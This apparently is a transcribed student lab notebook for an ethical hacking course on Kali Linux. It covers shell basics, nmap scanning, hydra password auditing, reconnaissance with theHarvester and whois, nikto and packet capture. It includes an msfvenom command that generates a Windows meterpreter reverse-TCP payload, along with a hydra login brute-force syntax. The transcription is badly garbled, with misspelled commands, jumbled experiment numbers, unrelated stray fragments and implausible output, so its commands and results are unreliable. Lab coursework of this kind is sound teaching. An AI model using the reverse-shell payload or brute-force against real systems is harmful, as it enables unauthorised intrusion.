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Experiment-01

RM users and ~~the~~ commands - Experiment

Aim: To execute and understand the usage of rm, users and tree commands in Kali Linux.

Procedure:

- Open the Kali Linux VM in virtual box
- Create sample files & directories to run each command.
- Record the output.

Theory:

1. RM command:

Remove the files from the database

Syntax:

~~touch demo.txt~~
rm demo.txt.

2. users command:

List of all users currently logged in.

Syntax:

users

3. tree command

Display contents of directory in a structured.

Syntax:

tree.

Result:

The rm command deleted the file, users displayed active users & tree printed the directory structure.

Output:

Kali@kali: ~\$ touch sample.txt

Kali@kali: ~\$ rm sample.txt

Kali@kali: ~\$ users

Kali

Kali@kali: ~\$ tree

Desktop
Downloads
Documents.

Output:

```
kali@kali:~$ vi sample.txt
kali@kali:~$ less sample.txt
kali@kali:~$ more sample.txt
welcome to Kali linux, I am using
for my lab observation.
```

```
kali@kali:~$ vi sample.txt
welcome to Kali linux, I am using for
my ethical hacking lab purpose.
```

~~Enter~~ ~~it~~ ~~press~~ ~~the~~ ~~key~~

Experiment -02

Less more & vi commands

Aim: To execute & display the results of less, more & vi command in Kali linux.

Procedure:

- i) > open the Kali linux VM in virtual box.
- ii) > Create a sample text file.
- iii) use less more & vi commands on those files.

Theory:

1. less command:

Display file content one screen at a time & allows forward / backward navigation.

Syntax:

less sample.txt

2. More command:

Displays file contents page by page.

Syntax:

more sample.txt

3. vi command:

open vi editor to create or edit files.

Syntax: vi sample.txt, i, w, cat, nano

Result: The three commands are successfully executed in Kali-linux.

Output:

Kali@kali: N\$ vi sample.txt
Kali@kali: N\$ head sample.txt
linux Kali@kali: N\$ tail sample.txt
ethical hacking oracle mobile.
os computer laptop
oracle web computing
computer technology compilers
web technology architecture
book
Kali@kali: N\$ ls
→ Desktop
→ Downloads
→ Documents

Experiment-03

Tree, Head and Tail commands -

Aim: To execute and display the result of tree, head and tail commands in Kali linux.

Procedure:

- i) open the Kali linux VM in virtual box.
- ii) create the sample files to run each command.
- iii) Record the output.

Theory:

1. Tree Command:

Display files & directories in a tree like structure. Syntax: tree.

2. Head Command:

Display the first 10 lines of a file by default.

Syntax: cat → sample 2.txt.

line 1, line 2, line 3, line 4, line 5, line 6, line 7, line 8, line 9, line 10, line 11, line 12
Press ctrl to E. save. head sample.txt.

3. Tail Command: Display the last 10 lines of the command syntax: tail sample.txt.

Result: The all commands are successfully executed in the Kali linux X.

Output:

```
kali@kali: N$ mkdir ethical hacking
kali@kali: N$ touch sample.txt
kali@kali: N$ vi sample.txt
kali@kali: N$ ls
```

Document downloads ethical hacking

Music Public Sample.txt Videos

kali@kali: N\$ cat sample.txt

Welcome to Kali Linux.

Experiment-02

ls, cat and mkdir Commands

Aim: To execute & display the result of ls, cat, and mkdir commands in Kali Linux.

Procedure:

1. Open the Kali Linux terminal in a working directory.
2. Create a folder & a file, then run each Command.
3. Observe the listed files, file content, & new directory created.

Theory:

(i) ls - List Directory contents:
Syntax: ls

(ii) cat : Display file content.
Syntax:

touch file.txt.
cat file.txt.

(iii) Mkdir : Create directory.
Syntax: mkdir new folder.

Result: As listed all files & folders, cat displayed the file content, & mkdir Successfully created a new directory.

Output:

Kali@kali: ~\$ uptime

01:51:32 up 31 min, 1 user, load

average: 0.20, 0.11, 0.16

Kali@kali: ~\$ date

Tue Jul 4 01:51:45 AM EDT 2024

Kali@kali: ~\$ touch sample.txt

Kali@kali: ~\$ mv sample.txt sample1.txt

Kali@kali: ~\$ ls

Download critical hacking music sample 1. ~~txt~~
Videos.

Experiment 05:

Uptime, date, & mv commands in Kali Linux.

Aim: To create and study the uptime, date & mv commands in Kali Linux.

Procedure:

1. Open the Kali Linux terminal.
2. Run uptime & date to view system information.
3. Create a file & use mv to rename or move it, then observe the result.

Theory:

(i) uptime: system uptime

Syntax: uptime

(ii) date: current date & time

Syntax: date

(iii) mv: Move or re-name files

Syntax: touch old.txt

MV old.txt new.txt

Result: uptime showed system running time & load, date displayed the current date & time, & mv renamed the file from old.txt to new.txt.

Output:

Kali@kali: ~\$ touch sample.txt.

Kali@kali: ~\$ pwd.

1 home / kali.

Kali@kali: ~\$ we get https://example.com

Saving to: index.html.

Experiment-06

Touch, Pwd, & Wget Commands in Kali Linux.

Aim: To execute & study the touch, pwd, & wget commands in Kali Linux.

Procedure:

1. Open the Kali Linux terminal.
2. Create a new file using touch - check the current path using pwd.
3. Use wget to download a file from internet & observe the output.

Theory:

i) Touch: Create Empty file.

Syntax: touch file.txt.

ii) Pwd: Print working directory

Syntax: pwd.

iii) Wget: Download files from Internet.

Syntax: wget https://example.com/file.txt.

Result: Touch created a new empty file, Pwd printed the current directory path, & wget downloaded the specified file from the internet.

Output:

Kali@kali: ~\$ mk dir practicals.

Kali @ Kali: Nf cd practicals.

Kali@kali:~\$ touch sample.txt

kali @ kali : Nf cp sample.txt backup.txt.

Kaliotali : 28.18.

sample.txt backup.txt

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 with a backdrop of ~~the~~ war . . .
 topic of ~~the~~ ~~the~~ transition?

[illegible]

Text: 641-1000

protein-protein binding : : : :

100

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The Federal Bureau of Investigation

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Experiment-07

CD, CP and is commands in Kali Linux.

Aim: To execute & study the cd, cp & is command in Kali linux.

Procedure:

is open the kali linux terminal

- it's create a directory, negative into it using cd, & create a file.

iii) copy the file using cp & list all files using ls.

Theory:

(ii) cd - change directory,

Syntax:

mk'dir demo-folides

ed domino-folded.

CP - copy files

Syntax:

~~touch file. but~~

~~cp file.txt file-copy.txt~~

list directory contents.

Syntax: 4

Result: cd changed the terminal location to the specified folder, cp. created a copy of the file & I listed all files including the copied file.

Output:

Port

State

Service Version

80/tcp open tcp wrapped Apache httpd

53/tcp closed dnsmisd (Ubuntu)

83/tcp closed nft-mysql

80/tcp open h2http

2017-09-09 19:00:00

2017-09-09 19:00:00

2017-09-09 19:00:00

2017-09-09 19:00:00

2017-09-09 19:00:00

2017-09-09 19:00:00

Experiment - 08

hmap: Service version of Aggressive Scan.

Aim: To execute hmap's Service version detection, aggressive Scan & or detection commands in Kali Linux.

Procedure:

1. open Kali Linux terminal.
2. Identify a target IP address.
3. run hmap & observe output.

Theory:

* hmap -sv. Detect version of service running.

Syntax:

hmap -sv. 192.168.1.1

* hmap -o

* hmap -A. Aggressive Scan

Syntax:

hmap -A -192.168.1.1

hmap -o -192.168.1.1

Result: The -sv flag detection the version of service running on open ports.

A performed on aggressive all-in-one Scan reveals detailed system information & successfully identify the target operating systems.

Experiment - 09

N-Map Timing of Performance

Command in Kali Linux operating system

Aim: To perform Nmap timing of performance scans using ms evasion tech in Kali Linux.

Tools required:

- Oracle VM Virtual Box
- Kali Linux
- N Map Tools
- Target System
- Terminal.

Commands:

- Verify v map installation
nmap -v -v
- ip a (identify target ip).
- ipolite In evasion scan.
nmap -T2 192.168.1.10
- (ii) Normal timing scan
nmap -T3 192.168.1.10

Result:

Nmap timing of performance scans were successfully performed using T2, T3 timing templates.

output:

polite SYN health scan takes about 6 minutes. Normal scan - 2 minutes

port	state	service
22/tcp	open	SSH
53/tcp	closed	domain name
80/tcp	open	HTTP
560/tcp	open	SIP
5062/tcp	open	SIP-TLS

22/tcp open SSH

80/tcp open HTTP

560/tcp open SIP

5062/tcp open SIP-TLS

1.1.1.1 - 5062 - open

1.1.1.1 - 5062 - open

1.1.1.1 - 5062 - open

1.1.1.1 - 5062 - open

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1.1.1.1 - 5062 - open

1.1.1.1 - 5062 - open

Experiment - 10

Batch file execution

Aim: To study of run the file free-sort of history commands in kali linux.

Theory:

i) free-Display: memory (RAM of swap) usage on the system.

Syntax: free

ii) Sort - sort line, of a file. alphabets - or numerically.

Syntax:
sort names.txt.

iii) history - view commands history executed in the terminal.

Syntax: history.

Result:

free displayed the system's ram usage, sort arranged the files all executed commands successfully.

output:

1) free-h

total used free shared available mem

19Gi

963Mi 669Mi 40Mi 1064Swap 953Mi

0/9 953Mi

2) vi sample.txt sort sample.txt

sort a sort-a sample.txt

Computing IDOR

official theking

hackers computing

hackers BOLD

3) history IP:

1) Cd

7) nano class.txt

2) ls

8) tree

3) ping 192.168.1.101

9) free-h

4) ls

10) vi sample.txt

5) touch class.txt

6) ls

Experiment-11.

Aggressive of intranet speed scans using Nmap.

Aim: To perform aggressive speed of intranet speed scans using Nmap.

Theory:

T₄ - Aggressive speedscan

Syntax:

nmap -T₄ 192.168.1.1

T₅ - I scan speed scan

nmap -T₅ 192.168.1.1

Usage: Increases scan speed.

Result: Successfully executed Nmap aggressive of intranet speed scans.

Output:

Port	State	Service
82/tcp	open	ssh
53/tcp	closed	domain
80/tcp	open	http
139/tcp	closed	netbios-ssn
80/tcp	open	http
443/tcp	closed	https
5060/tcp	open	sip
5064/tcp	open	sip-tls

Experiment-12

Aim to open the ports on a target system.

Aim: To identify open ports on a target system.

Theory:

1) nmap - Basic port scan

Syntax:

nmap 192.168.1.1

Usage: - Scan Common ports

Description: Identifier open ports on host

host

2) nmap -ss -syn -scan

Syntax:

nmap -ss 192.168.1.1

Usage: performs a TCP syn scan.

Description: Quickly checks port status.

Result:

open ports and running services were identified.

Output:

Port	State	Service
22/tcp	open	ssh
53/tcp	closed	domain
80/tcp	open	http
83/tcp	closed	nit-mpl-dev
139/tcp	closed	netbios-ssn
5066/tcp	open	gip
5061/tcp	open	gip-tls

Experiment - 13

Discovering active hosts in a network.

Aim:

To discover active hosts in a network.

Theory:

nmap -sn -host Discovery.

Syntax:

nmap -sn -192.168.1.0/24

Usage: finds live hosts without port

Scanning.

Description:

Detects active systems in the network.

Output:

\$ nmap -sn scanner.nmap.org

Nmap scan report for scanner.nmap.org

=45.33.32.156

Host is up 0.0025s latency.

Nmap done: 1 IP address (1 host up).

Result: ~~Successfully~~ discovered active host.

output:

VP password.txt

thostname -I → to find ip address:

hydra -l kali -P password.txt.

HP : 11.10.0.2.15

login:kali

password:kali

Experiment-19

Password auditing using hydra.

Aim: To perform password auditing using hydra.

Theory:

hydra - password auditing tool.

Syntax:

hydra -l admin -P passwords.txt

-f -t p : // 192.168.1.16

Usage: Tests passwords against a

Service

Description: Performs login auditing on supported protocols.

Result:

Successfully demonstrated password auditing using hydra..

Experiment-15.

Gathering Publicly available information
about a domain.

Aim: To gather publicly available information about a domain.

Theory:

The harvester - information gathering

Syntax:

The harvester - example.com b-google

use: Collects public domain information.

Description: finds emails of subdomains.

Result: collected emails of subdomains,
public information.

output:

The harvester - example.com - b

harvester target

hosts found: 500

109199.example.com: 217.12.210.128,

113326.example.com: 45.90.57.141

174342.example.com: 185.82.219.132

201702

201702

201702

201702

201702

201702

201702

output:

who is nava.gov.

Domain name: nava.gov

register: get gov creation data: 1997-10-02

updated data: 2026-07-27

name servers: ns1.nava.gov. ns2.nava.gov

site: nava.gov - Nava served change

portal /gov)

Nava space place - for kids (gov)

Nava terra satellite (gov.)

file type: pdf hit: nava.gov: nava - facts

- Max (PDF) SPD-VI (PDF) SMAP hand
book (PDF).

Experiment-16

Gathering domain information using whois
at google search operators

Aim: To gather domain information using whois of google search operator.

Theory:

i) whois - Domain lookup

Syntax:

whois example.com

Usage:

Description: Retrieves domain registration details.

Shows ownership of registration data.

ii) Google Dorks: Search operators

Usage: Filters search engine results.

Syntax: google example.com.

Description:

Helps to find indexed public files & pages.

Result:

Successfully gathered reconnaissance information.

Experiment No-14.

Common windows networking commands

Aim: To identify common windows networking commands.

Theory:

(i) tracert - Trace prompt

Syntax:

-target google.com

Usage: Traces the path to a host.

Description: Shows hops b/w source of destination.

(ii) Ping - check connectivity.

Syntax:

Ping google.com.

Usage: Test network connection.

Description: Sends echo request to host.

(iii) ip config - IP configuration

Description: Shows IP, gateway of adapters details.

Syntax:

ip config
ip config /all.

Usage: Displays network configuration.

Output:

1> tracert google.com

Max hops=30

14 hops reached

2> ping google.com

Send=y

received=y

lost=1

max=3.75ms

max=0.57ms

3> ip config.

IP 192.168.x.x

Subnet Mask:

255.255.255.0

4> netstat -an

State: N, SYN, RST

Time wait, close wait.

in netstat - Network Statistic.

Syntax:

netstat -an

Usage - Displays network connections.

Description - show active port of connection
~~status~~.

Result: Successfully executed windows
networking commands.

Experiment - 18

web Server vulnerabilities using nikto.

Aim: To identify web server vulnerabilities using Nikto.

Theory:

nik to - web vulnerability server.

Syntax:

nik to - http://target-ip

Usage:

scans a web server for common issues

Description:

Detects known vulnerabilities of
of misconfigurations.

Result: Successfully detected web server

vulnerabilities.

Output:

nik to - http://localhost

Target IP: 127.0.0.1

Target host name: localhost

Target port: 80.



Output:

Command Prompt: nslookup

Address: 172.21.100.3

> google.com

79/7K packets = 570 displayed

google.com - 142.251.22.2142

Source destination protocol

172.11.162.212 172.21.100.3 DNS

~~NSlookup started~~

~~connecting to 172.21.100.3~~

~~nslookup google.com~~
~~172.11.162.212~~

Experiment - 12

Capturing & analysing network packets
using wireshark.

Aim: To capture and analyze network packets using Wireshark.

Theory:

Wireshark - packet analyzer.

Usage - captures and inspects.

network traffic

Description: helps analyze network ~~traffic~~

Result: Successfully captured and analyzed network traffic.

Experiment - 20

Generating a single payload for educational purpose using msf venom.

Aim: To generate a simple payload for educational purpose using msf venom.

Theory:

msfvenom - payload generator

Syntax:

msfvenom -p windows/meterpreter/

reverse -tcp

LHOST - 192.168.1.15

LPORT - 4444 - f.exe > payload.exe

Usage: Generates a txt payload.

Description: Creates payload files in

selected format.

Result: Successfully generated a txt payload.

Output:

Payload size: 354 bytes

Final size of exe file: 7168 bytes.

Experiment No-21.

Execution of a batch file in windows

Aim: To execute a batch file in windows.

Theory:

Batch file execution

Syntax:

@ echo off

echo welcome to ethical hacking lab.

Pause.

Usage: Run commands execution in windows

Result: Successfully executed file the batch file.

Output:

welcome to ethical hacking lab press any key to continue.

Experiment - 22.

Analyzing network packets using packet analyzer tools.

Aim: To analyze network packet using packet analyzer tools.

Theory:

wireshark / tcpdump - Packet Analysis
Syntax:

tcpdump -i eth0.

Capture logs ÷ Capture network packets

Description: Analyzes traffic over interface.

Result:

Successfully analyzed packets.

Output:

\$ sudo tcpdump -i eth0 listening on eth0, link type 3, EN100ND

3p 10.0.2.15 > 10.0.2.3 domain - -

3p 10.0.2.15 > 178.226.148.34 bc - -

google user content.com https plays

wireshark output:

No	Source	destination	Protocol
1210	142.250.193.74	10.0.2.15	Airic
1211	142.250.193.74	10.0.2.15	Tcp
1212	10.0.2.15	142.250.193.74	Tcp

Experiment No-23

Performing advanced port scanning using N-map.

Aim: To perform advanced port scanning using N-map.

Procedure:

1. select target host.
2. Run given Nmap commands.

Theory:

(i) nmap -sv-service

Detection

Syntax:

nmap -sv-target.

ip.

usage: Detect service

versions

Description: Show

Services running open ports

(ii) nmap -A -Aggressive scan

Syntax:

nmap -A target-ip.

usage: Perform advanced

scanning.

Result:

Successfully identified service of ports-

Description:

Collects detailed

host information.

(iii) nmap -P-1-65535

full port scan

Syntax:

nmap -P-1-65535

target-ip

usage: scan all

ports

Description: checks

the complete port

range.

Output:

<u>Port</u>	<u>State</u>	<u>Service</u>
22/tcp	open	tcp wrapped
53/tcp	closed	domain
80/tcp	open	http.
131/tcp	closed	netbios-ssb
143/tcp	closed	imap

Experiment - 24.

Comparing different N-map timing templates.

Aim: To compare different N-map timing templates.

Theory:

is to paranoid.

Syntax:

nmap -T -target -ip,

Usage: very slow scan.

Description - used for maximum stealth.

(i) -T -sneaky

Syntax:

nmap -T, target -ip

Usage: slow scan.

Description: Reduce detection

Services monitoring open ports. collects detailed hosts information.

(ii) nmap -P -l. 45 535 full port scan.

Syntax:

nmap -P -l 45 535 -target -ip.

usage: scan all ports.

Description: Checks the complete port range.

Result: Successfully identified service.
on port,

Experiment - 25

Executing simple shell program in linux.

Aim: To execute simple shell programs in linux.

Theory:

Program 01 - Square of Number
Syntax

!/bin/bash

echo Enter a number

read n

Square=\$((n*n))

echo Square is \$Square

Program 02: Biggest of 3 Numbers
Syntax:
#!/bin/bash

echo Enter 3 Number

read a b c

if [\$a -gt \$b] && [\$a -gt \$c]; then

echo "\$a is largest"

elif [\$b -gt \$a] && [\$b -gt \$c];

then
echo "\$b is largest"
else

echo "he is largest"

fi

usage find largest of 3 numbers

Description: compares value & prints the largest

Output: (program 1)

Enter a number 5

Square = 25

(program 2)

Enter three numbers 10 25 12

25 is the largest

Result: Successfully executed simple shell programming exmples.